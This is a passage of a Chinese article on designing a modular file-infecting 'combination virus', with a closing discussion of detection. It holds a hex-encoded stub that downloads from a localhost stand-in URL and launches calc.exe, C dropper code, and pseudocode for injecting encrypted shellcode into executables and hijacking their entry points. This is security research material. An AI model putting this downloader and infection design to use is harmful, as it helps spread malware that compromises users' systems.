  0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 
  0x2F, 0x78, 0x2E, 0x62, 0x69, 0x6E, 0x00, 0x63, 0x3A, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 
  0x73, 0x5C, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x6D, 0x6F, 0x64, 0x65, 0x6C, 
  0x20, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
这样每一个模块T都会被释放到不同的随机路径下,假设为c:\t.exe

void main()
{
   ...
   create_model_t("c:\\t.exe");
   ...
}
   
bool create_model_t(const char *lpfile)
{
   HANDLE hTargetFile = CreateFile(lpfile, GENERIC_ALL,0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
   if (hTargetFile == INVALID_HANDLE_VALUE)
   {
       printf("CreateFile() : error %d\n", GetLastError());
       return FALSE;
   }  
   DWORD dwlen = 0;
   WriteFile(hTargetFile,data,2560,&dwlen,0);  
   CloseHandle(hTargetFile);
}   
  
  3.4.整体框架
  
  void frame()
  {
       获得一组随机感染的路径t[0...m];
       获得每一个被感染的文件的file_buf;
  
       memcpy(t_buf,shellcode_model_s,model_s_size);
       memcpy(t_buf+model_s_size,exe_path,path_len); exe_path 包含在t[0...n]中
       crypt_shellcode(t_buf);
  
       搜索file_buf的空穴;
       
       if 存在大于model_s_size + path_len 空间的空穴
          注入t_buf到file_buf中;
       else
          寻找下一个文件
  
       修改被模块s注入后的文件入口,使模块s获得控制权;
       
       获得一组随机感染的路径t[0...n];
       释放模块T到这些了路径下;
  
       获得一个t[0...m]中未被模块s感染的文件k;
  
       拷贝整体CV到文件k,获得控制权;
  }
  
  限于考虑本篇讨论的主要是技术思路及安全方面因素,不给出源代码及实例演示。  
    
[0x04].检测讨论    
 
    假设有一个依据传染性的检测计算机病毒的程序P,那么从病毒检测的对象上看,实体文件只有病毒文件CV,及释放的模块T,依据病毒检测原理可知,
程序P一定存在误报,当某个被CV感染的程序执行时,它即把CV重新感染给了其它程序,同时也释放了模块T,及隐藏的模块S,由于CV本身具有传染性,可
以被P检测出来,可以清除掉。假设模块T可以依据破坏性由P之外的程序检测并清除。但隐藏模块S本身不具有传染性,不能被P检测出来,因而仍保留在系
统当中。若要重新激活病毒,只需重新引入一个激活程序释放一个T'即可,由于T'不具有传染性,P不能检测它,所以组合病毒仍然在系统中存在。
    
    以上是从原理检测角度来看组合病毒的,实际的反病毒引擎设计中要简化的多,因为无论是模块T、还是文件CV,都可以由特征检测清除,隐藏模块S
也可以由引擎的算法扫描进行修复,当然这部分主要取决于隐藏模块S的复杂程度,这样CV,T,S都可以被清除,只不过对引擎来说,这已经不是针对一个病毒
的修检测修复了,是3既有联系各自独立的病毒清除程序。特别是隐藏模块S如果不被清除,CV可以不断的更新激活程序来获得重新运行机会。而且组合病毒
原理定义中表明可以有n多个隐藏函数。这些都将为彻底的清除带来一定的困难,所以对这方面的安全研究更多的还是从防御方面入手比较好。